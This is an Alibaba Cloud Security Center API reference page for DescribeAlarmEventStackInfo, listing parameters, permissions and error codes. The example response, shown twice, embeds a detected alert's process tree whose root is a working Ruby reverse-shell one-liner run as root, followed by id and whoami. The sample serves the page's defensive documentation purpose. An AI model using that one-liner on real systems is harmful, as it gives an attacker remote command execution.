DescribeAlarmEventStackInfo_云安全中心_API文档-阿里云OpenAPI开发者门户

流控信息

请求速率为100/1(s)。

授权信息

如下是此API对应的授权信息，用于RAM权限策略语句的Action元素中，为RAM用户或RAM角色授予调用此API的权限。请通过 RAM 访问控制设置，使用方法可参考访问控制帮助文档。

具体说明如下：展开详情

操作	访问级别	资源类型	条件关键字	关联操作

yundun-sas:DescribeAlarmEventStackInfo	Get	全部资源 *	无	无

请求参数

字段名称	字段详情
SourceIpstring	访问源的 IP 地址。示例值:192.168.XX.XX参考取值来源: DescribeDataSource
Langstring	设置请求和接收消息的语言类型，默认为 zh。取值：展开详情示例值:zh参考取值来源: GetUserLang
Uuidstring	要查询的资产的 UUID。展开详情示例值:18b7336e-d469-473b-af83-8e5420f9****
EventNamestring	事件名称。展开详情示例值:Variable Trojan参考取值来源: DescribeStrictEventName GetObjectScanEvent AddImageEventOperation ListHoneypotAlarmEvents
UniqueInfostring	告警事件的唯一标识。示例值:1fbe8d16727f61d1478a674d6fa0****
ResourceDirectoryAccountIdinteger<int64>	资源目录成员账号主账号 ID。展开详情注意该字段类型为 Long，在序列化/反序列化的过程中可能导致精度丢失，请注意数值不得大于 9007199254740991。示例值:127608589417****

返回参数

字段名称	字段详情
StackInfostring	告警详情的堆栈信息。示例值:[ { "child": [ { "child": [ { "child": [ ], "data": { "cmdline": "id", "proc_path": "/bin/id", "pid": "[3033]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } }, { "child": [ ], "data": { "cmdline": "whoami", "proc_path": "/bin/whoami", "pid": "[3035]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "cmdline": "/bin/bash -c 'id && whoami'", "proc_path": "/bin/bash", "pid": "[3022]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "src_ip": "0.0.0.0", "cmdline": "ruby -rsocket -e exit if fork;c=TCPSocket.new(\"0.0.0.0\",\"1111\");while(cmd=c.gets);IO.popen(cmd,\"r\"){\|io\|c.print io.read}end", "file": "ruby", "login_port": "22", "login_type": "password", "proc_path": "/usr/bin/ruby", "dst_port": "1111", "pid": "3011", "user": "root", "dst_ip": "0.0.0.0", "log_time": "2020-01-20 09:00:00" }, "description": { "extend": [ { "content": "${tpl_netstat}", "content_type": "text" } ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ]
RequestIdstring	阿里云为该请求生成的唯一标识符。示例值:ECC6B3E3-D496-512D-B46D-E6996A6B63EE

字段名称

字段详情

StackInfostring

告警详情的堆栈信息。

示例值:[ { "child": [ { "child": [ { "child": [ ], "data": { "cmdline": "id", "proc_path": "/bin/id", "pid": "[3033]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } }, { "child": [ ], "data": { "cmdline": "whoami", "proc_path": "/bin/whoami", "pid": "[3035]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "cmdline": "/bin/bash -c 'id && whoami'", "proc_path": "/bin/bash", "pid": "[3022]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "src_ip": "0.0.0.0", "cmdline": "ruby -rsocket -e exit if fork;c=TCPSocket.new(\"0.0.0.0\",\"1111\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end", "file": "ruby", "login_port": "22", "login_type": "password", "proc_path": "/usr/bin/ruby", "dst_port": "1111", "pid": "3011", "user": "root", "dst_ip": "0.0.0.0", "log_time": "2020-01-20 09:00:00" }, "description": { "extend": [ { "content": "${tpl_netstat}", "content_type": "text" } ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ]

RequestIdstring

阿里云为该请求生成的唯一标识符。

示例值:ECC6B3E3-D496-512D-B46D-E6996A6B63EE

返回示例

错误码

没有我想要的错误码, 点击反馈

全局错误码

HTTP 状态码	错误码	错误信息	操作

400	NoPermission	no permission	诊断
400	RdCheckNoPermission	Resource directory account verification has no permission.	诊断
403	NoPermission	caller has no permission	诊断
500	RdCheckInnerError	Resource directory account service internal error.	诊断
500	ServerError	ServerError	诊断

变更历史

	变更时间	变更内容概要	操作
	2023-07-20	变更错误码400 新增错误码500 新增请求参数ResourceDirectoryAccountId

1
2
3
4
5
•••
35
10 条/页